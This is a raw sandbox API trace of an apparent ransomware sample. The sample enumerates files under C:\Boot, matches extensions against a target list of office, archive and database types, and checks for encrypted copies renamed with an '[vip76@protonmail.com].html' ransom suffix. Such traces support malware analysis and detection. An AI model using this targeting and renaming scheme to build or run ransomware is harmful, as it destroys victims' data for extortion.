	[0165.295] lstrcmpiW (lpString1=".xlsx", lpString2="ARKER") returned -1
	[0165.295] lstrlenW (lpString=".ppt") returned 4
	[0165.295] lstrcmpiW (lpString1=".ppt", lpString2="RKER") returned -1
	[0165.295] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0165.295] lstrlenW (lpString=".zip") returned 4
	[0165.295] lstrcmpiW (lpString1=".zip", lpString2="RKER") returned -1
	[0165.295] lstrlenW (lpString=".rar") returned 4
	[0165.295] lstrcmpiW (lpString1=".rar", lpString2="RKER") returned -1
	[0165.295] lstrlenW (lpString=".bz2") returned 4
	[0165.295] lstrcmpiW (lpString1=".bz2", lpString2="RKER") returned -1
	[0165.295] lstrlenW (lpString=".7z") returned 3
	[0165.295] lstrcmpiW (lpString1=".7z", lpString2="KER") returned -1
	[0165.295] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0165.295] lstrlenW (lpString=".dbf") returned 4
	[0165.295] lstrcmpiW (lpString1=".dbf", lpString2="RKER") returned -1
	[0165.295] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0165.295] lstrlenW (lpString=".1cd") returned 4
	[0165.295] lstrcmpiW (lpString1=".1cd", lpString2="RKER") returned -1
	[0165.295] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0165.295] lstrlenW (lpString=".jpg") returned 4
	[0165.295] lstrcmpiW (lpString1=".jpg", lpString2="RKER") returned -1
	[0165.295] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0165.295] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0165.295] lstrlenW (lpString=".doc") returned 4
	[0165.295] lstrcmpiW (lpString1=".doc", lpString2="RKER") returned -1
	[0165.295] lstrlenW (lpString=".docx") returned 5
	[0165.295] lstrcmpiW (lpString1=".docx", lpString2="ARKER") returned -1
	[0165.295] lstrlenW (lpString=".pdf") returned 4
	[0165.295] lstrcmpiW (lpString1=".pdf", lpString2="RKER") returned -1
	[0165.295] lstrlenW (lpString=".xls") returned 4
	[0165.295] lstrcmpiW (lpString1=".xls", lpString2="RKER") returned -1
	[0165.296] lstrlenW (lpString=".xlsx") returned 5
	[0165.296] lstrcmpiW (lpString1=".xlsx", lpString2="ARKER") returned -1
	[0165.296] lstrlenW (lpString=".ppt") returned 4
	[0165.296] lstrcmpiW (lpString1=".ppt", lpString2="RKER") returned -1
	[0165.296] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0165.296] lstrlenW (lpString=".zip") returned 4
	[0165.296] lstrcmpiW (lpString1=".zip", lpString2="RKER") returned -1
	[0165.296] lstrlenW (lpString=".rar") returned 4
	[0165.296] lstrcmpiW (lpString1=".rar", lpString2="RKER") returned -1
	[0165.296] lstrlenW (lpString=".bz2") returned 4
	[0165.296] lstrcmpiW (lpString1=".bz2", lpString2="RKER") returned -1
	[0165.296] lstrlenW (lpString=".7z") returned 3
	[0165.296] lstrcmpiW (lpString1=".7z", lpString2="KER") returned -1
	[0165.296] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0165.296] lstrlenW (lpString=".dbf") returned 4
	[0165.296] lstrcmpiW (lpString1=".dbf", lpString2="RKER") returned -1
	[0165.296] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0165.296] lstrlenW (lpString=".1cd") returned 4
	[0165.296] lstrcmpiW (lpString1=".1cd", lpString2="RKER") returned -1
	[0165.296] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0165.296] lstrlenW (lpString=".jpg") returned 4
	[0165.296] lstrcmpiW (lpString1=".jpg", lpString2="RKER") returned -1
	[0165.296] Sleep (dwMilliseconds=0x64) 
	[0165.476] Sleep (dwMilliseconds=0x64) 
	[0165.911] Sleep (dwMilliseconds=0x64) 
	[0166.285] lstrlenW (lpString="BCD") returned 3
	[0166.285] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0166.285] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0166.285] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0166.285] lstrlenW (lpString=".doc") returned 4
	[0166.285] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1
	[0166.285] lstrlenW (lpString=".docx") returned 5
	[0166.285] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1
	[0166.285] lstrlenW (lpString=".pdf") returned 4
	[0166.285] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1
	[0166.285] lstrlenW (lpString=".xls") returned 4
	[0166.285] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1
	[0166.285] lstrlenW (lpString=".xlsx") returned 5
	[0166.285] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1
	[0166.285] lstrlenW (lpString=".ppt") returned 4
	[0166.285] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1
	[0166.285] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0166.286] lstrlenW (lpString=".zip") returned 4
	[0166.286] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1
	[0166.286] lstrlenW (lpString=".rar") returned 4
	[0166.286] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1
	[0166.286] lstrlenW (lpString=".bz2") returned 4
	[0166.286] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1
	[0166.286] lstrlenW (lpString=".7z") returned 3
	[0166.286] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1
	[0166.286] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0166.286] lstrlenW (lpString=".dbf") returned 4
	[0166.286] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1
	[0166.286] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0166.286] lstrlenW (lpString=".1cd") returned 4
	[0166.286] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1
	[0166.286] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0166.286] lstrlenW (lpString=".jpg") returned 4
	[0166.286] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1
	[0166.286] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0166.286] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0166.286] lstrlenW (lpString=".doc") returned 4
	[0166.286] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1
	[0166.286] lstrlenW (lpString=".docx") returned 5
	[0166.286] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1
	[0166.286] lstrlenW (lpString=".pdf") returned 4
	[0166.286] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1
	[0166.286] lstrlenW (lpString=".xls") returned 4
	[0166.286] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1
	[0166.286] lstrlenW (lpString=".xlsx") returned 5
	[0166.286] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1
	[0166.286] lstrlenW (lpString=".ppt") returned 4
	[0166.286] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1
	[0166.286] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0166.287] lstrlenW (lpString=".zip") returned 4
	[0166.287] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1
	[0166.287] lstrlenW (lpString=".rar") returned 4
	[0166.287] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1
	[0166.287] lstrlenW (lpString=".bz2") returned 4
	[0166.287] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1
	[0166.287] lstrlenW (lpString=".7z") returned 3
	[0166.287] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1
	[0166.287] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0166.287] lstrlenW (lpString=".dbf") returned 4
	[0166.287] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1
	[0166.287] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0166.287] lstrlenW (lpString=".1cd") returned 4
	[0166.287] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1
	[0166.287] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0166.287] lstrlenW (lpString=".jpg") returned 4
	[0166.287] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1
	[0166.287] lstrcmpiW (lpString1=".LOG1", lpString2=".html") returned 1
	[0166.287] lstrlenW (lpString="BCD.LOG1") returned 8
	[0166.287] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0166.288] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=0) returned 1
	[0166.289] CloseHandle (hObject=0x344) returned 1
	[0166.289] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0166.289] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0166.289] lstrlenW (lpString=".doc") returned 4
	[0166.289] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1
	[0166.289] lstrlenW (lpString=".docx") returned 5
	[0166.289] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1
	[0166.289] lstrlenW (lpString=".pdf") returned 4
	[0166.289] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1
	[0166.289] lstrlenW (lpString=".xls") returned 4
	[0166.289] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1
	[0166.289] lstrlenW (lpString=".xlsx") returned 5
	[0166.289] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1
	[0166.289] lstrlenW (lpString=".ppt") returned 4
	[0166.289] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1
	[0166.289] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0166.289] lstrlenW (lpString=".zip") returned 4
	[0166.289] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1
	[0166.289] lstrlenW (lpString=".rar") returned 4
	[0166.289] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1
	[0166.289] lstrlenW (lpString=".bz2") returned 4
	[0166.289] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1
	[0166.289] lstrlenW (lpString=".7z") returned 3
	[0166.289] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1
	[0166.289] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0166.289] lstrlenW (lpString=".dbf") returned 4
	[0166.289] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1
	[0166.289] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0166.289] lstrlenW (lpString=".1cd") returned 4
	[0166.289] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1
	[0166.290] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0166.290] lstrlenW (lpString=".jpg") returned 4
	[0166.290] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1
	[0166.290] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0166.290] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0166.290] lstrlenW (lpString=".doc") returned 4
	[0166.290] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1
	[0166.290] lstrlenW (lpString=".docx") returned 5
	[0166.290] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1
	[0166.290] lstrlenW (lpString=".pdf") returned 4
	[0166.290] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1
	[0166.290] lstrlenW (lpString=".xls") returned 4
	[0166.290] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1
	[0166.290] lstrlenW (lpString=".xlsx") returned 5
	[0166.290] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1
	[0166.290] lstrlenW (lpString=".ppt") returned 4
	[0166.290] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1
	[0166.290] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0166.290] lstrlenW (lpString=".zip") returned 4
	[0166.290] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1
	[0166.290] lstrlenW (lpString=".rar") returned 4
	[0166.290] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1
	[0166.290] lstrlenW (lpString=".bz2") returned 4
	[0166.290] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1
	[0166.290] lstrlenW (lpString=".7z") returned 3
	[0166.290] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1
	[0166.290] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0166.290] lstrlenW (lpString=".dbf") returned 4
	[0166.290] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1
	[0166.290] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0166.290] lstrlenW (lpString=".1cd") returned 4
	[0166.290] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1
	[0166.290] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0166.291] lstrlenW (lpString=".jpg") returned 4
	[0166.291] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1
	[0166.291] lstrcmpiW (lpString1=".LOG2", lpString2=".html") returned 1
	[0166.291] lstrlenW (lpString="BCD.LOG2") returned 8
	[0166.291] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0166.291] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=0) returned 1
	[0166.291] CloseHandle (hObject=0x344) returned 1
	[0166.291] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0166.291] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0166.291] lstrlenW (lpString=".doc") returned 4
	[0166.291] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1
	[0166.291] lstrlenW (lpString=".docx") returned 5
	[0166.291] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1
	[0166.291] lstrlenW (lpString=".pdf") returned 4
	[0166.291] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1
	[0166.291] lstrlenW (lpString=".xls") returned 4
	[0166.291] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1
	[0166.291] lstrlenW (lpString=".xlsx") returned 5
	[0166.292] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1
	[0166.292] lstrlenW (lpString=".ppt") returned 4
	[0166.292] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1
	[0166.292] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0166.292] lstrlenW (lpString=".zip") returned 4
	[0166.292] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1
	[0166.292] lstrlenW (lpString=".rar") returned 4
	[0166.292] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1
	[0166.292] lstrlenW (lpString=".bz2") returned 4
	[0166.292] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1
	[0166.292] lstrlenW (lpString=".7z") returned 3
	[0166.292] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1
	[0166.292] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0166.292] lstrlenW (lpString=".dbf") returned 4
	[0166.292] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1
	[0166.292] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0166.292] lstrlenW (lpString=".1cd") returned 4
	[0166.292] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1
	[0166.292] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0166.292] lstrlenW (lpString=".jpg") returned 4
	[0166.292] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1
	[0166.292] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0166.292] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0166.292] lstrlenW (lpString=".doc") returned 4
	[0166.292] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1
	[0166.292] lstrlenW (lpString=".docx") returned 5
	[0166.292] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1
	[0166.292] lstrlenW (lpString=".pdf") returned 4
	[0166.292] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1
	[0166.292] lstrlenW (lpString=".xls") returned 4
	[0166.292] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1
	[0166.292] lstrlenW (lpString=".xlsx") returned 5
	[0166.293] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1
	[0166.293] lstrlenW (lpString=".ppt") returned 4
	[0166.293] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1
	[0166.293] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0166.293] lstrlenW (lpString=".zip") returned 4
	[0166.293] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1
	[0166.293] lstrlenW (lpString=".rar") returned 4
	[0166.293] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1
	[0166.293] lstrlenW (lpString=".bz2") returned 4
	[0166.293] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1
	[0166.293] lstrlenW (lpString=".7z") returned 3
	[0166.293] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1
	[0166.293] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0166.293] lstrlenW (lpString=".dbf") returned 4
	[0166.293] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1
	[0166.293] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0166.293] lstrlenW (lpString=".1cd") returned 4
	[0166.293] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1
	[0166.293] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0166.294] lstrlenW (lpString=".jpg") returned 4
	[0166.294] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1
	[0166.294] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1
	[0166.294] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0166.294] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0166.294] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=77664) returned 1
	[0166.294] CloseHandle (hObject=0x344) returned 1
	[0166.294] GetFileAttributesW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui")) returned 0x20
	[0166.294] GetFileAttributesW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0166.294] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0166.295] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0166.295] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0166.295] lstrlenW (lpString=".doc") returned 4
	[0166.295] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0166.295] lstrlenW (lpString=".docx") returned 5
	[0166.295] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0166.295] lstrlenW (lpString=".pdf") returned 4
	[0166.295] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0166.295] lstrlenW (lpString=".xls") returned 4
	[0166.295] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0166.295] lstrlenW (lpString=".xlsx") returned 5
	[0166.295] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0166.295] lstrlenW (lpString=".ppt") returned 4
	[0166.295] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0166.295] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0166.295] lstrlenW (lpString=".zip") returned 4
	[0166.295] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0166.295] lstrlenW (lpString=".rar") returned 4
	[0166.295] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0166.295] lstrlenW (lpString=".bz2") returned 4
	[0166.295] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0166.295] lstrlenW (lpString=".7z") returned 3
	[0166.295] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0166.295] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0166.295] lstrlenW (lpString=".dbf") returned 4
	[0166.295] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0166.296] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0166.296] lstrlenW (lpString=".1cd") returned 4
	[0166.296] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0166.296] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0166.296] lstrlenW (lpString=".jpg") returned 4
	[0166.296] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0166.296] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0166.296] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0166.296] lstrlenW (lpString=".doc") returned 4
	[0166.296] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0166.296] lstrlenW (lpString=".docx") returned 5
	[0166.296] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0166.296] lstrlenW (lpString=".pdf") returned 4
	[0166.296] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0166.296] lstrlenW (lpString=".xls") returned 4
	[0166.296] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0166.296] lstrlenW (lpString=".xlsx") returned 5
	[0166.296] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0166.296] lstrlenW (lpString=".ppt") returned 4
	[0166.296] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0166.296] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0166.296] lstrlenW (lpString=".zip") returned 4
	[0166.296] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0166.296] lstrlenW (lpString=".rar") returned 4
	[0166.296] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0166.296] lstrlenW (lpString=".bz2") returned 4
	[0166.296] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0166.296] lstrlenW (lpString=".7z") returned 3
	[0166.296] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0166.296] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0166.296] lstrlenW (lpString=".dbf") returned 4
	[0166.297] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0166.297] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0166.297] lstrlenW (lpString=".1cd") returned 4
	[0166.297] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0166.297] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0166.297] lstrlenW (lpString=".jpg") returned 4
	[0166.297] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0166.297] Sleep (dwMilliseconds=0x64) 
	[0166.543] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0166.543] lstrlenW (lpString="bootspaces.dll") returned 14
	[0166.543] CreateFileW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0166.545] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=95648) returned 1
	[0166.545] CloseHandle (hObject=0x390) returned 1
	[0166.546] GetFileAttributesW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll")) returned 0x20
	[0166.546] GetFileAttributesW (lpFileName="C:\\Boot\\bootspaces.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\boot\\bootspaces.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0166.546] CreateFileW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0166.546] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0166.546] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0166.546] lstrlenW (lpString=".doc") returned 4
	[0166.546] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0166.546] lstrlenW (lpString=".docx") returned 5
	[0166.546] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0166.546] lstrlenW (lpString=".pdf") returned 4
	[0166.546] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0166.546] lstrlenW (lpString=".xls") returned 4
	[0166.546] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0166.546] lstrlenW (lpString=".xlsx") returned 5
	[0166.547] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0166.547] lstrlenW (lpString=".ppt") returned 4
	[0166.547] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0166.547] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0166.547] lstrlenW (lpString=".zip") returned 4
	[0166.547] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0166.547] lstrlenW (lpString=".rar") returned 4
	[0166.547] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0166.547] lstrlenW (lpString=".bz2") returned 4
	[0166.547] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0166.547] lstrlenW (lpString=".7z") returned 3
	[0166.547] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0166.547] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0166.547] lstrlenW (lpString=".dbf") returned 4
	[0166.547] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0166.547] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0166.547] lstrlenW (lpString=".1cd") returned 4
	[0166.547] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0166.547] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0166.547] lstrlenW (lpString=".jpg") returned 4
	[0166.547] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0166.548] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0166.548] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0166.548] lstrlenW (lpString=".doc") returned 4
	[0166.548] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0166.548] lstrlenW (lpString=".docx") returned 5
	[0166.548] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0166.548] lstrlenW (lpString=".pdf") returned 4
	[0166.548] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0166.548] lstrlenW (lpString=".xls") returned 4
	[0166.548] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0166.548] lstrlenW (lpString=".xlsx") returned 5
	[0166.548] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0166.548] lstrlenW (lpString=".ppt") returned 4
